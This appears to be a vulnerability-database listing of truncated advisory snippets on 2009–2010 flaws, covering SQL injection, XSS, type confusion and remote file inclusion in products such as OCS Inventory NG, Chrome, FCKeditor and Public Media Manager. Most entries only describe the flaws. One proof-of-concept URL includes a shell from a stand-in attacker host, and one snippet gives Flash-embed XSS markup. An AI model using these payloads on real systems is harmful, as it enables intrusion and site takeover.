DEBIAN-CVE-2010-1733

Multiple SQL injection vulnerabilities in OCS Inventory NG before 1.02.3 allow remote attackers to execute arbitrary SQL commands via 1 multiple inventory fields to the search form, reachable through index.php; or 2 the "Software name" field to the "All softwares" search form, reachable through...

CVE-2010-1733

Multiple SQL injection vulnerabilities in OCS Inventory NG before 1.02.3 allow remote attackers to execute arbitrary SQL commands via 1 multiple inventory fields to the search form, reachable through index.php; or 2 the "Software name" field to the "All softwares" search form, reachable through...

CVE-2010-1500

Google Chrome before 4.1.249.1059 does not properly support forms, which has unknown impact and attack vectors, related to a "type confusion error."...

CVE-2010-1500

Google Chrome before 4.1.249.1059 does not properly support forms, which has unknown impact and attack vectors, related to a "type confusion error."...

CVE-2010-1500

CVE-2010-1500 refers to Google Chrome prior to 4.1.249.1059, where the browser’s handling of forms is implicated due to a possible type confusion error. The exact impact and attack vectors are not clearly described in the initial note, but NVD assigns a base score of 7.5 (HIGH) with network attac...

CVE-2010-1500

Removed by vendor...

openSUSE Security Update : viewvc (viewvc-2147)

Query forms didn't escape user provided input, therefore allowing cross-site-scripting XSS attacks. CVE-2010-0736 has been assigned to this issue. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The descriptive text and package checks in this plugin were extracted from openSUSE Security Upda...

Asynchronous Auth Prompt attaches to wrong window — Mozilla

Mozilla developer Justin Dolske reported that the new asynchronous Authorization Prompt HTTP username and password was not always attached to the correct window. Although we have not demonstrated this, it may be possible for a malicious page to convince a user to open a new tab or popup to a...

XSS using addEventListener and setTimeout on a wrapped object — Mozilla

Mozilla security researcher mozbugra4 reports that by using an appropriately wrapped object it was possible to bypass the fix for MFSA 2007-19. Prior to Firefox 3.6 this gives an attacker the ability to perform cross-site scripting attacks against arbitrary sites as in the original MFSA 2007-19...

Kusaba X <= 0.9 XSS/CSRF vulnerabilities

========================================== Kusaba X = 0.9 XSS/CSRF vulnerabilities ========================================== Kusaba X suffers XSS and CSRF vulnerabilities that would allow an attacker to take over the web application and possibly the entire server depending on the MySQL...

Cross site scripting

Cross-site scripting XSS vulnerability in Forms/statusstatistics1 in the Sterlite SAM300 AX Router allows remote attackers to inject arbitrary web script or HTML via the StatRadio parameter...

CVE-2010-0607

CVE-2010-0607 is an XSS vulnerability in the Sterlite SAM300 AX Router, affecting the Forms/status_statistics_1 function. The issue allows remote attackers to inject arbitrary web script or HTML via the Stat_Radio parameter. Documents confirm the affected component and the root cause (unvalidated...

acroread: script injection vulnerability (APSB10-02)

The default configuration of Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, does not enable the Enhanced Security feature, which has unspecified impact and attack vectors, related to a "script injection vulnerability," as demonstrated by Acrobat Forms Data...

New vulnerability in FCKeditor

Здравствуйте 3APA3A! Сообщаю вам о Cross-Site Scripting уязвимости в FCKeditor. XSS: Это persistent XSS через Flash. object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"param name=movie value="http://site/xss.swf"param name="allowscriptaccess" value="always"embed src="http://site/xss.swf"...

phpFormGenerator Remote Shell Upload

|| || | || o,7 || . o7 || 4||| ow, : / / . |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=| | | | /' \ /'\ /\ \ /'\ /\ \ | | /, \ /\/\L\ \ \ \ ,/\ /\ \ \ \ / | | //\ \ /' \ /\ //\ team wlhaan hacker | | // | | |...

Public Media Manager - Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Public Media Manager PoC : http://server/path/comcal/calmenu.php?formsdir=http://attacker.com/shell.txt?cmd 90r0nt4l0 und3r9r0nd c0mmun1ty Gorontalo / 2009...

Public Media Manager <= 1.3 (forms_dir) Remote File Include Vulnerability

No description provided by source. Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Public Media Manager = 1.3 formsdir Remote File Include Vulnerability Download Script : http://sourceforge.net/projects/pmm-cms/files/ Dork : die"Lamers attempt"; :D Vuln : ./pmm-cms-1.3/comcal/calmenu.php line 4...

CVE-2009-3300

Multiple cross-site scripting XSS vulnerabilities in the Identity Provider IdP 1.3.x before 1.3.4 and 2.x before 2.1.5, and the Service Provider 1.3.x before 1.3.5 and 2.x before 2.3, in Internet2 Middleware Initiative Shibboleth allow remote attackers to inject arbitrary web script or HTML via...

CVE-2009-3300

Multiple cross-site scripting XSS vulnerabilities in the Identity Provider IdP 1.3.x before 1.3.4 and 2.x before 2.1.5, and the Service Provider 1.3.x before 1.3.5 and 2.x before 2.3, in Internet2 Middleware Initiative Shibboleth allow remote attackers to inject arbitrary web script or HTML via...

DEBIAN-CVE-2009-3300

Multiple cross-site scripting XSS vulnerabilities in the Identity Provider IdP 1.3.x before 1.3.4 and 2.x before 2.1.5, and the Service Provider 1.3.x before 1.3.5 and 2.x before 2.3, in Internet2 Middleware Initiative Shibboleth allow remote attackers to inject arbitrary web script or HTML via...